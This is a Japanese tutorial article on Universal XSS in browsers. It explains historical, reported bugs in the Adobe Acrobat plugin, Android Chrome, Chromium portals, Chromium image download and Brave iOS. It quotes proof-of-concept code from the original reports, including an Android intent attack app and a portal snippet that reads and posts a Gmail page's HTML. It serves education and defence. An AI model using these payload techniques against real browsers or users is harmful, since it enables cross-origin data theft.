最強のXSS:Universal XSS
これまで説明したXSSの脆弱性は、ほとんどがウェブサイト自体の過失によって引き起こされ、攻撃者がウェブサイト上でJavaScriptコードを実行できるようになるものでした。
しかし、タイトルが示唆するように、さらに強力な別の種類のXSSがあります。
理由は単純です。この種類のXSS攻撃は、ウェブサイト自体ではなく、ブラウザまたは組み込みのプラグインを標的とするからです。
ブラウザの脆弱性であるため、ウェブサイト自体に問題がある必要はありません。純粋な静的ウェブページでもXSSに対して脆弱になる可能性があります。ブラウザを攻撃することで達成される影響は、「どのウェブサイトでもコードを実行できる能力」です。したがって、この種類の攻撃はUniversal XSS、略してUXSSと呼ばれます。
では、UXSSの脆弱性はどのように発生するのでしょうか?いくつかの例を見てみましょう。
2006年のFirefoxのAdobe Acrobatプラグイン
Subverting Ajaxというタイトルの論文で、Firefoxを標的としたUXSSが説明されています。
FirefoxのAdobe Acrobatプラグインには、パラメータを適切にチェックしない脆弱性がありました。PDFを読み込む際に、URLに #FDF=javascript:alert(1)
というパラメータを追加することで、そのPDF内でXSSを実行できました。
例えば、https://example.com/test.pdf#FDF=javascript:alert(1)
です。このURLを読み込むだけで、https://example.com
というオリジン上でJavaScriptコードが実行され、これがUXSSとして知られています。
元の論文には詳細な情報が記載されていませんでしたが、 underlying principle は、プラグインが FDF
パラメータによって渡された値を使用して window.open
などの関数を実行し、javascript:
疑似プロトコルを使用してコードを実行できるようにすることだと推測しています。
2012年のAndroid ChromeのUXSS
2012年、Takeshi氏は脆弱性を報告しました:Issue 144813: Security: UXSS via com.android.browser.application_id Intent extra。
Androidの世界には、「インテント」と呼ばれるものがあり、これは「意図」を表します。例えば、新しい画面を開きたい場合は、「新しい画面を開きたい」というインテントを送信します。
Chromeを開いて特定のページを閲覧したい場合は、この意図に基づいて対応するコードを記述できます。
// 新しいインテントを宣言します
Intent intent = new Intent("android.intent.action.VIEW");
// インテントはChromeアプリ用です
intent.setClassName("com.android.chrome", "com.google.android.apps.chrome.Main");
// URLを設定します
intent.setData(Uri.parse("https://example.com"));
// インテントを送信します
startActivity(intent);
2012年、誰かが最初に https://example.com
を開き、次に javascript:alert(1)
を開くことで、https://example.com
のURL上でコードを実行できることを発見し、UXSSの脆弱性が発生しました。
完全なコードは次のとおりです(元のレポートからのコード)。
package jp.mbsd.terada.attackchrome1;
import android.app.Activity;
import android.os.Bundle;
import android.content.Intent;
import android.net.Uri;
public class Main extends Activity {
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
doit();
}
public void doit() {
try {
// まず、ChromeアプリにターゲットのWebページを開かせます
Intent intent1 = getIntentForChrome("http://www.google.com/1");
startActivity(intent1);
// 数秒待ちます
Thread.sleep(5000);
// ターゲット(www.google.com)に注入するJSコード
String jsURL = "javascript:alert('domain='+document.domain)";
Intent intent2 = getIntentForChrome(jsURL);
// Chromeが新しいURLを新しいタブで読み込むのを防ぐためのトリックが必要です
intent2.putExtra("com.android.browser.application_id", "com.android.chrome");
startActivity(intent2);
}
catch (Exception e) {}
}
// Chromeアプリを呼び出すためのインテントを取得します
public Intent getIntentForChrome(String url) {
Intent intent = new Intent("android.intent.action.VIEW");
intent.setClassName("com.android.chrome", "com.google.android.apps.chrome.Main");
intent.setData(Uri.parse(url));
return intent;
}
}
2019年のChromiumのportalを介したUXSS
2019年、Michał Bentkowski氏は脆弱性を報告しました:Issue 962500: Security: Same Origin Policy bypass and local file disclosure via portal element。このUXSSは、最新機能である <portal>
を介して実行されました。
この脆弱性の原因は、前述のAndroidのケースと似ています。以下にコードスニペットの例を示します(元のレポートから)。
const p = document.createElement('portal');
p.src = 'https://mail.google.com';
// しばらくしてから:
p.src = 'javascript:portalHost.postMessage(document.documentElement.outerHTML,"*")';
// 上記のコードはhttps://mail.google.comのコンテキストで実行されます
ポータル内にURLを読み込んだ後、javascript:
を読み込むと、以前に読み込んだURLのオリジンでJavaScriptが実行されることになります。言い換えれば、任意のURLでJavaScriptを実行できるため、UXSSとなります。この脆弱性には10,000ドルの報奨金が支払われました。
2021年のChromiumの画像ダウンロードによってトリガーされるUXSS
Chromiumで画像を右クリックしてダウンロードを選択すると、ChromiumはバックグラウンドでJavaScriptコードの一部を動的に実行します。これは、次のような内部JavaScript関数を呼び出します。
__gCrWeb.imageFetch.getImageData(id, '%s')
ここで、%s
は画像のファイル名です。ただし、このファイル名は適切にフィルタリングされていなかったため、ファイル名が '+alert(1)+'
の場合、コードは次のようになります。
__gCrWeb.imageFetch.getImageData(id, ''+alert(1)+'')
これにより、alert(1)
が実行されます。もちろん、任意のコードに置き換えることができます。alert(1)
は単なる例です。
さらに、iframeを使用してドメインBを埋め込むドメインAがある場合、ドメインBで画像をダウンロードすると、この動的に生成されたJavaScriptコードはトップレベルウィンドウ、つまりドメインAのウィンドウで実行されます。
言い換えれば、この脆弱性を悪用することで、iframeを使用して別のドメインに攻撃URLを埋め込むことができれば、そのドメインで任意のコードを実行でき、UXSSが発生します。
元のレポートとPoCは、西村宗晃氏が報告したレポートを参照してください:Issue 1164846: Security: ImageFetchTabHelper::GetImageDataByJs allows child frames to inject scripts into parent (UXSS)
BraveブラウザiOSアプリの複数のUXSS
BraveはChromiumベースのプライバシー重視のブラウザであり、JavaScriptの生みの親であるBrendan Eich氏によって設立されました。BraveのiOSアプリには、日本のセキュリティ研究者である西村宗晃氏によって複数のUXSS脆弱性が発見されています(上記のChromiumのUXSSも彼が報告しました)。
これらの脆弱性の原因は、前述のものと似ています。アプリ自体がJavaScriptコードを動的に実行し、入力が適切にフィルタリングされていないためにUXSSが発生しました。
例えば、次のようなコードの一部があるかもしれません。
self.tab?.webview?.evaluateJavaScript("u2f.postLowLevelRegister(\(requestId), \(true), '\(version)')")
そして、version
変数を制御できます。同時に、このスクリプトはトップレベルで実行されるため、サブフレームは親を攻撃し、他のオリジンでXSSを実行できます。
詳細については、西村宗晃氏のプレゼンテーションを参照してください:Brave Browserの脆弱性を見つけた話(iOS編)
まとめ
このようなUXSSは、通常、ウェブサイト自体では制御できません。なぜなら、脆弱性はウェブサイトではなく、ブラウザ自体にあるからです。
ブラウザにとって、これは実際には重大な脆弱性です。考えてみてください。攻撃者がUXSSを悪用した場合、Gmailを読んだり、Facebookのメッセージを読んだり、すべてのデータを持ち去ったりすることができます。これは非常に恐ろしい状況です。
ユーザーとしてできることは、ブラウザを常に最新バージョンに更新し、ベンダーがこれらの脆弱性を迅速に修正することを願うことだけです。